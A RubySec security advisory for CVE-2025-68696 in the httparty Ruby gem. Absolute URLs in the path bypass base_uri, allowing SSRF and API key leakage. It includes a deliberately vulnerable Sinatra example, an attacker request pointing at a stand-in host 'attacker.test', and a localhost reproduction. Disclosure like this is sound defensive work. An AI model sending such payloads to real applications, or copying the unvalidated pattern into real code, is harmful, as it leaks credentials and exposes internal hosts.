CVE-2025-68696 (httparty): httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage

ADVISORIES

GEM

PATCHED VERSIONS

>= 0.24.0

DESCRIPTION

Summary

There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

Details

When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.

Consider the following example of a web application:

require &apos;sinatra&apos;
require &apos;httparty&apos;

class RepositoryClient
  include HTTParty
  base_uri &apos;http://exmaple.test/api/v1/repositories/&apos;
  headers &apos;X-API-KEY&apos; =&gt; &apos;1234567890&apos;
end

post &apos;/issue&apos; do
  request_body = JSON.parse(request.body.read)
  RepositoryClient.get(request_body[&apos;repository_id&apos;]).body
  # do something
  json message: &apos;OK&apos;
end

Now, suppose an attacker sends a request like this:

POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json

{
    &quot;repository_id&quot;: &quot;http://attacker.test&quot;,
    &quot;title&quot;: &quot;test&quot;
}

In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.

A similar problem was reported and fixed in the HTTP client library axios in the past: <https://github.com/axios/axios/issues/6463>

Also, Python's urljoin function has documented a warning about similar behavior: <https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin>

PoC

Follow these steps to reproduce the issue:

Set up two simple HTTP servers.

mkdir /tmp/server1 /tmp/server2
echo &quot;this is server1&quot; &gt; /tmp/server1/index.html
echo &quot;this is server2&quot; &gt; /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &amp;
python -m http.server -d /tmp/server2 10002 &amp;

Create a script (for example, main.rb):

require &apos;httparty&apos;

class Client
  include HTTParty
  base_uri &apos;http://localhost:10001&apos;
end

data = Client.get(&apos;http://localhost:10002&apos;).body
puts data

Run the script:
```
$ ruby main.rb
this is server2
```

Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.

Impact

Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
Affected users: Any software that uses base_uri and does not properly validate the path parameter may be affected by this issue.

RubySec